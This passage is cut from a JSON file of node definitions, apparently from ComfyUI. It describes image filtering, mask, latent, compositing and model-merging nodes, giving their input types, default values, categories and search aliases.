"has_intermediate_output": false}, "UpscaleModelLoader": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["UPSCALE_MODEL"], "output_is_list": [false], "output_name": ["UPSCALE_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "UpscaleModelLoader", "display_name": "Load Upscale Model", "description": "", "python_module": "comfy_extras.nodes_upscale_model", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageUpscaleWithModel": {"input": {"required": {"upscale_model": ["UPSCALE_MODEL", {}], "image": ["IMAGE", {}]}}, "input_order": {"required": ["upscale_model", "image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageUpscaleWithModel", "display_name": "Upscale Image (using Model)", "description": "", "python_module": "comfy_extras.nodes_upscale_model", "category": "image/upscaling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["upscale", "upscaler", "upsc", "enlarge image", "super resolution", "hires", "superres", "increase resolution"], "essentials_category": null, "has_intermediate_output": false}, "ImageBlend": {"input": {"required": {"image1": ["IMAGE", {}], "image2": ["IMAGE", {}], "blend_factor": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "blend_mode": ["COMBO", {"multiselect": false, "options": ["normal", "multiply", "screen", "overlay", "soft_light", "difference"]}]}}, "input_order": {"required": ["image1", "image2", "blend_factor", "blend_mode"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageBlend", "display_name": "Blend Images", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["mix images"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "ImageBlur": {"input": {"required": {"image": ["IMAGE", {}], "blur_radius": ["INT", {"default": 1, "min": 1, "max": 31, "step": 1}], "sigma": ["FLOAT", {"default": 1.0, "min": 0.1, "max": 10.0, "step": 0.1}]}}, "input_order": {"required": ["image", "blur_radius", "sigma"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageBlur", "display_name": "Blur Image", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageQuantize": {"input": {"required": {"image": ["IMAGE", {}], "colors": ["INT", {"default": 256, "min": 1, "max": 256, "step": 1}], "dither": ["COMBO", {"multiselect": false, "options": ["none", "floyd-steinberg", "bayer-2", "bayer-4", "bayer-8", "bayer-16"]}]}}, "input_order": {"required": ["image", "colors", "dither"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageQuantize", "display_name": "Quantize Image", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageSharpen": {"input": {"required": {"image": ["IMAGE", {}], "sharpen_radius": ["INT", {"advanced": true, "default": 1, "min": 1, "max": 31, "step": 1}], "sigma": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.1, "max": 10.0, "step": 0.01}], "alpha": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 5.0, "step": 0.01}]}}, "input_order": {"required": ["image", "sharpen_radius", "sigma", "alpha"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageSharpen", "display_name": "Sharpen Image", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageScaleToTotalPixels": {"input": {"required": {"image": ["IMAGE", {}], "upscale_method": ["COMBO", {"multiselect": false, "options": ["nearest-exact", "bilinear", "area", "bicubic", "lanczos"]}], "megapixels": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 16.0, "step": 0.01}], "resolution_steps": ["INT", {"advanced": true, "default": 1, "min": 1, "max": 256}]}}, "input_order": {"required": ["image", "upscale_method", "megapixels", "resolution_steps"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageScaleToTotalPixels", "display_name": "Scale Image to Total Pixels", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/upscaling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ResizeImageMaskNode": {"input": {"required": {"input": ["COMFY_MATCHTYPE_V3", {"template": {"template_id": "input_type", "allowed_types": "IMAGE,MASK"}}], "resize_type": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Select how to resize: by exact dimensions, scale factor, matching another image, etc.", "options": [{"key": "scale dimensions", "inputs": {"required": {"width": ["INT", {"tooltip": "Target width in pixels. Set to 0 to auto-calculate from height while preserving aspect ratio.", "default": 512, "min": 0, "max": 16384, "step": 1}], "height": ["INT", {"tooltip": "Target height in pixels. Set to 0 to auto-calculate from width while preserving aspect ratio.", "default": 512, "min": 0, "max": 16384, "step": 1}], "crop": ["COMBO", {"tooltip": "How to handle aspect ratio mismatch: 'disabled' stretches to fit, 'center' crops to maintain aspect ratio.", "default": "center", "multiselect": false, "options": ["disabled", "center"]}]}}}, {"key": "scale by multiplier", "inputs": {"required": {"multiplier": ["FLOAT", {"tooltip": "Scale factor (e.g., 2.0 doubles size, 0.5 halves size).", "default": 1.0, "min": 0.01, "max": 8.0, "step": 0.01}]}}}, {"key": "scale longer dimension", "inputs": {"required": {"longer_size": ["INT", {"tooltip": "The longer edge will be resized to this value. Aspect ratio is preserved.", "default": 512, "min": 0, "max": 16384, "step": 1}]}}}, {"key": "scale shorter dimension", "inputs": {"required": {"shorter_size": ["INT", {"tooltip": "The shorter edge will be resized to this value. Aspect ratio is preserved.", "default": 512, "min": 0, "max": 16384, "step": 1}]}}}, {"key": "scale width", "inputs": {"required": {"width": ["INT", {"tooltip": "Target width in pixels. Height auto-adjusts to preserve aspect ratio.", "default": 512, "min": 0, "max": 16384, "step": 1}]}}}, {"key": "scale height", "inputs": {"required": {"height": ["INT", {"tooltip": "Target height in pixels. Width auto-adjusts to preserve aspect ratio.", "default": 512, "min": 0, "max": 16384, "step": 1}]}}}, {"key": "scale total pixels", "inputs": {"required": {"megapixels": ["FLOAT", {"tooltip": "Target total megapixels (e.g., 1.0 \u2248 1024\u00d71024). Aspect ratio is preserved.", "default": 1.0, "min": 0.01, "max": 16.0, "step": 0.01}]}}}, {"key": "match size", "inputs": {"required": {"match": ["IMAGE,MASK", {"tooltip": "Resize input to match the dimensions of this reference image or mask."}], "crop": ["COMBO", {"tooltip": "How to handle aspect ratio mismatch: 'disabled' stretches to fit, 'center' crops to maintain aspect ratio.", "default": "center", "multiselect": false, "options": ["disabled", "center"]}]}}}, {"key": "scale to multiple", "inputs": {"required": {"multiple": ["INT", {"tooltip": "Resize so width and height are divisible by this number. Useful for latent alignment (e.g., 8 or 64).", "default": 8, "min": 1, "max": 16384, "step": 1}]}}}]}], "scale_method": ["COMBO", {"tooltip": "Interpolation algorithm. 'area' is best for downscaling, 'lanczos' for upscaling, 'nearest-exact' for pixel art.", "default": "area", "multiselect": false, "options": ["nearest-exact", "bilinear", "area", "bicubic", "lanczos"]}]}}, "input_order": {"required": ["input", "resize_type", "scale_method"]}, "is_input_list": false, "output": ["COMFY_MATCHTYPE_V3"], "output_is_list": [false], "output_name": ["resized"], "output_tooltips": [null], "output_matchtypes": ["input_type"], "name": "ResizeImageMaskNode", "display_name": "Resize Image/Mask", "description": "Resize an image or mask using various scaling methods.", "python_module": "comfy_extras.nodes_post_processing", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["resize", "resize image", "resize mask", "scale", "scale image", "scale mask", "image resize", "change size", "dimensions", "shrink", "enlarge"], "essentials_category": null, "has_intermediate_output": false}, "BatchImagesNode": {"input": {"required": {"images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 1, "max": 50}}]}}, "input_order": {"required": ["images"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "BatchImagesNode", "display_name": "Batch Images", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["batch", "image batch", "batch images", "combine images", "merge images", "stack images"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "BatchMasksNode": {"input": {"required": {"masks": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"mask": ["MASK", {}]}}, "prefix": "mask", "min": 1, "max": 50}}]}}, "input_order": {"required": ["masks"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "BatchMasksNode", "display_name": "Batch Masks", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine masks", "stack masks", "merge masks"], "essentials_category": null, "has_intermediate_output": false}, "BatchLatentsNode": {"input": {"required": {"latents": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"latent": ["LATENT", {}]}}, "prefix": "latent", "min": 1, "max": 50}}]}}, "input_order": {"required": ["latents"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "BatchLatentsNode", "display_name": "Batch Latents", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "model/latent/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine latents", "stack latents", "merge latents"], "essentials_category": null, "has_intermediate_output": false}, "ColorTransfer": {"input": {"required": {"image_target": ["IMAGE", {"tooltip": "Image(s) to apply the color transform to."}], "image_ref": ["IMAGE", {"tooltip": "Reference image(s) to match colors to."}], "method": ["COMBO", {"multiselect": false, "options": ["reinhard_lab", "mkl_lab", "histogram"]}], "source_stats": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "per_frame: each frame matched to image_ref individually. uniform: pool stats across all source frames as baseline, match to image_ref. target_frame: use one chosen frame as the baseline for the transform to image_ref, applied uniformly to all frames (preserves relative differences)", "options": [{"key": "per_frame", "inputs": {"required": {}}}, {"key": "uniform", "inputs": {"required": {}}}, {"key": "target_frame", "inputs": {"required": {"target_index": ["INT", {"tooltip": "Frame index used as the source baseline for computing the transform to image_ref", "default": 0, "min": 0, "max": 10000}]}}}]}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["image_target", "image_ref", "method", "source_stats", "strength"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["image"], "output_tooltips": [null], "output_matchtypes": null, "name": "ColorTransfer", "display_name": "Transfer Color", "description": "Match the colors of one image to another using various algorithms.", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["color match", "color grading", "color correction", "match colors", "color transform", "mkl", "reinhard", "histogram"], "essentials_category": null, "has_intermediate_output": false}, "LatentCompositeMasked": {"input": {"required": {"destination": ["LATENT", {}], "source": ["LATENT", {}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "resize_source": ["BOOLEAN", {"default": false}]}, "optional": {"mask": ["MASK", {}]}}, "input_order": {"required": ["destination", "source", "x", "y", "resize_source"], "optional": ["mask"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentCompositeMasked", "display_name": "Latent Composite Masked", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["overlay latent", "layer latent", "paste latent", "inpaint latent"], "essentials_category": null, "has_intermediate_output": false}, "ImageCompositeMasked": {"input": {"required": {"destination": ["IMAGE", {}], "source": ["IMAGE", {}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "resize_source": ["BOOLEAN", {"default": false}]}, "optional": {"mask": ["MASK", {}]}}, "input_order": {"required": ["destination", "source", "x", "y", "resize_source"], "optional": ["mask"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageCompositeMasked", "display_name": "Image Composite Masked", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/compositing", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["overlay", "layer", "paste image", "images composition"], "essentials_category": null, "has_intermediate_output": false}, "MaskToImage": {"input": {"required": {"mask": ["MASK", {}]}}, "input_order": {"required": ["mask"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MaskToImage", "display_name": "Convert Mask to Image", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["convert mask"], "essentials_category": null, "has_intermediate_output": false}, "ImageToMask": {"input": {"required": {"image": ["IMAGE", {}], "channel": ["COMBO", {"multiselect": false, "options": ["red", "green", "blue", "alpha"]}]}}, "input_order": {"required": ["image", "channel"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageToMask", "display_name": "Convert Image to Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["extract channel", "channel to mask"], "essentials_category": null, "has_intermediate_output": false}, "ImageColorToMask": {"input": {"required": {"image": ["IMAGE", {}], "color": ["INT", {"default": 0, "min": 0, "max": 16777215, "step": 1, "display": "number"}]}}, "input_order": {"required": ["image", "color"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageColorToMask", "display_name": "Convert Image Color to Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["color keying", "chroma key"], "essentials_category": null, "has_intermediate_output": false}, "SolidMask": {"input": {"required": {"value": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["value", "width", "height"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "SolidMask", "display_name": "Create Solid Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "InvertMask": {"input": {"required": {"mask": ["MASK", {}]}}, "input_order": {"required": ["mask"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "InvertMask", "display_name": "Invert Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["reverse mask", "flip mask"], "essentials_category": null, "has_intermediate_output": false}, "CropMask": {"input": {"required": {"mask": ["MASK", {}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["mask", "x", "y", "width", "height"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "CropMask", "display_name": "Crop Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["cut mask", "extract mask region", "mask slice"], "essentials_category": null, "has_intermediate_output": false}, "MaskComposite": {"input": {"required": {"destination": ["MASK", {}], "source": ["MASK", {}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "operation": ["COMBO", {"multiselect": false, "options": ["multiply", "add", "subtract", "and", "or", "xor"]}]}}, "input_order": {"required": ["destination", "source", "x", "y", "operation"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "MaskComposite", "display_name": "Combine Masks", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine masks", "blend masks", "layer masks", "masks composition"], "essentials_category": null, "has_intermediate_output": false}, "FeatherMask": {"input": {"required": {"mask": ["MASK", {}], "left": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "top": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "right": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "bottom": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}]}}, "input_order": {"required": ["mask", "left", "top", "right", "bottom"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "FeatherMask", "display_name": "Feather Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["soft edge mask", "blur mask edges", "gradient mask edge"], "essentials_category": null, "has_intermediate_output": false}, "GrowMask": {"input": {"required": {"mask": ["MASK", {}], "expand": ["INT", {"default": 0, "min": -16384, "max": 16384, "step": 1}], "tapered_corners": ["BOOLEAN", {"advanced": true, "default": true}]}}, "input_order": {"required": ["mask", "expand", "tapered_corners"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrowMask", "display_name": "Grow Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["expand mask", "shrink mask"], "essentials_category": null, "has_intermediate_output": false}, "ThresholdMask": {"input": {"required": {"mask": ["MASK", {}], "value": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["mask", "value"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "ThresholdMask", "display_name": "Threshold Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["binary mask"], "essentials_category": null, "has_intermediate_output": false}, "MaskPreview": {"input": {"required": {"mask": ["MASK", {}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["mask"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "MaskPreview", "display_name": "Preview Mask", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["show mask", "view mask", "inspect mask", "debug mask"], "essentials_category": null, "has_intermediate_output": false}, "PorterDuffImageComposite": {"input": {"required": {"source": ["IMAGE", {}], "source_alpha": ["MASK", {}], "destination": ["IMAGE", {}], "destination_alpha": ["MASK", {}], "mode": ["COMBO", {"default": "DST", "multiselect": false, "options": ["ADD", "CLEAR", "DARKEN", "DST", "DST_ATOP", "DST_IN", "DST_OUT", "DST_OVER", "LIGHTEN", "MULTIPLY", "OVERLAY", "SCREEN", "SRC", "SRC_ATOP", "SRC_IN", "SRC_OUT", "SRC_OVER", "XOR"]}]}}, "input_order": {"required": ["source", "source_alpha", "destination", "destination_alpha", "mode"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "PorterDuffImageComposite", "display_name": "Porter-Duff Image Composite", "description": "", "python_module": "comfy_extras.nodes_compositing", "category": "image/compositing", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["alpha composite", "blend modes", "layer blend", "transparency blend"], "essentials_category": null, "has_intermediate_output": false}, "SplitImageWithAlpha": {"input": {"required": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SplitImageWithAlpha", "display_name": "Split Image with Alpha", "description": "", "python_module": "comfy_extras.nodes_compositing", "category": "image/compositing", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["extract alpha", "separate transparency", "remove alpha"], "essentials_category": null, "has_intermediate_output": false}, "JoinImageWithAlpha": {"input": {"required": {"image": ["IMAGE", {}], "alpha": ["MASK", {}]}}, "input_order": {"required": ["image", "alpha"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "JoinImageWithAlpha", "display_name": "Join Image with Alpha", "description": "", "python_module": "comfy_extras.nodes_compositing", "category": "image/compositing", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["add transparency", "apply alpha", "composite alpha", "RGBA"], "essentials_category": null, "has_intermediate_output": false}, "RebatchLatents": {"input": {"required": {"latents": ["LATENT", {}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["latents", "batch_size"]}, "is_input_list": true, "output": ["LATENT"], "output_is_list": [true], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "RebatchLatents", "display_name": "Rebatch Latents", "description": "", "python_module": "comfy_extras.nodes_rebatch", "category": "model/latent/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RebatchImages": {"input": {"required": {"images": ["IMAGE", {}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["images", "batch_size"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RebatchImages", "display_name": "Rebatch Images", "description": "", "python_module": "comfy_extras.nodes_rebatch", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelMergeSimple": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "ratio": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "ratio"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSimple", "display_name": "ModelMergeSimple", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeBlocks": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "input": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "out": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "input", "middle", "out"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeBlocks", "display_name": "ModelMergeBlocks", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSubtract": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "multiplier": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "multiplier"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSubtract", "display_name": "ModelMergeSubtract", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeAdd": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"]}}, "input_order": {"required": ["model1", "model2"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeAdd", "display_name": "ModelMergeAdd", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CheckpointSave": {"input": {"required": {"model": ["MODEL"], "clip": ["CLIP"], "vae": ["VAE"], "filename_prefix": ["STRING", {"default": "checkpoints/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["model", "clip", "vae", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "CheckpointSave", "display_name": "Save Checkpoint", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": ["save model", "export checkpoint", "merge save"]}, "CLIPMergeSimple": {"input": {"required": {"clip1": ["CLIP"], "clip2": ["CLIP"], "ratio": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["clip1", "clip2", "ratio"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPMergeSimple", "display_name": "CLIPMergeSimple", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CLIPMergeSubtract": {"input": {"required": {"clip1": ["CLIP"], "clip2": ["CLIP"], "multiplier": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["clip1", "clip2", "multiplier"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPMergeSubtract", "display_name": "CLIPMergeSubtract", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": ["clip difference", "text encoder subtract"]}, "CLIPMergeAdd": {"input": {"required": {"clip1": ["CLIP"], "clip2": ["CLIP"]}}, "input_order": {"required": ["clip1", "clip2"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPMergeAdd", "display_name": "CLIPMergeAdd", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": ["combine clip"]}, "CLIPSave": {"input": {"required": {"clip": ["CLIP"], "filename_prefix": ["STRING", {"default": "clip/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["clip", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "CLIPSave", "display_name": "CLIPSave", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": []}, 